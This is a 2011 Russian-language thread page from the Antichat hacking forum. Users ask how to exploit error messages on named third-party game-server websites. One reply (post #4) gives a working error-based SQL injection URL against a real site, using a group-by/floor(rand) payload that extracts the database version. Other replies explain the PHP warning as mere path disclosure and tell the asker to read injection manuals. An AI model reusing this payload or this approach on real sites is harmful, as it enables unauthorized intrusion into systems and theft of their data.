ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1682 из 2422 « Первая < 6821182158216321672 1678 1679 1680 1681 1682 1683 1684 1685 1686 1692173217822182 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 31.05.2011, 17:29
Unknown
Новичок
Регистрация: 21.06.2005
Сообщений: 0
С нами: 10992741

Репутация: 0
По умолчанию
Ну в принципе я об этом тоже думал,логин и пасс от мускла у меня есть,только не расшифровывается)

Думал есть какие нить варианты как в таблице бд поменять значение.
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 01.06.2011, 00:33
0x002
Новичок
Регистрация: 30.05.2011
Сообщений: 3
С нами: 7870646

Репутация: 0
По умолчанию
Помогите уважаемые гуру.

и так вот сайтик:

http://rswow.ru/page.php?p[]=rules

Вылазит такая штука

Цитата:
Сообщение от None  
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in Y:\home\195.88.62.202\www\page.php on line 14
Подскажите как то заюзать данную штуку.

Заранее спасибо.
 
Ответить с цитированием

  #3  
Старый 01.06.2011, 00:37
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами: 8885780

Репутация: 672


По умолчанию
mysql_real_escape_string() принимает параметр типа стринг, о чем и говорит имя фунцкии, а ты передаешь массив, вот и ругается..
 
Ответить с цитированием

  #4  
Старый 01.06.2011, 00:38
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию
Цитата:
Сообщение от 0x002  
Помогите уважаемые гуру.
и так вот сайтик:
http://rswow.ru/page.php?p[]=rules
Вылазит такая штука
Подскажите как то заюзать данную штуку.
Заранее спасибо.
Например, так:

http://wow.war-top.ru/index.php?do=sitedetails&id=74'+and+(select+1+from +(select+count(0),concat((select+version()),floor( rand(0)*2))+from+(select+1+union+select+2+union+se lect+3)x+group+by+2+limit+1)a)+--+
 
Ответить с цитированием

  #5  
Старый 01.06.2011, 00:54
0x002
Новичок
Регистрация: 30.05.2011
Сообщений: 3
С нами: 7870646

Репутация: 0
По умолчанию
Цитата:
Сообщение от Konqi  
mysql_real_escape_string() принимает параметр типа стринг, о чем и говорит имя фунцкии, а ты передаешь массив, вот и ругается..
Я понял что тип стринг

Цитата:
Сообщение от None  
mysql_real_escape_string() - используется для защиты от sql атак
 
Ответить с цитированием

  #6  
Старый 01.06.2011, 00:56
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 546
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от 0x002  
Я понял что тип стринг
Цитата:
mysql_real_escape_string() - используется для защиты от sql атак
и что?

ты же не будешь проверить на SQL injection через подставку массива вместо стринга

тебе выше показали запрос
 
Ответить с цитированием

  #7  
Старый 01.06.2011, 01:06
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию
Раскрытие пути, не более того
 
Ответить с цитированием

  #8  
Старый 01.06.2011, 02:19
0x002
Новичок
Регистрация: 30.05.2011
Сообщений: 3
С нами: 7870646

Репутация: 0
По умолчанию
Прошу помощи

вот http://wow.bridge.net.ua/index.php?n=server&sub=arena&realm=-1

Цитата:
Сообщение от None  
Check field dbinfo in table `realmlist` for realm id=
 
Ответить с цитированием

  #9  
Старый 01.06.2011, 02:22
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию
Цитата:
Сообщение от 0x002  
Прошу помощи
вот http://wow.bridge.net.ua/index.php?n=server&sub=arena&realm=-1
Где ты там увидел уязвимость?
 
Ответить с цитированием

  #10  
Старый 01.06.2011, 02:24
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами: 8866466

Репутация: 564
По умолчанию
0x002 читай маны по скуль инъекциям =\

а то всю жизнь тебе кто то будет раскручивать недоскули =\
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием
Ответ
Страница 1682 из 2422 « Первая < 6821182158216321672 1678 1679 1680 1681 1682 1683 1684 1685 1686 1692173217822182 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.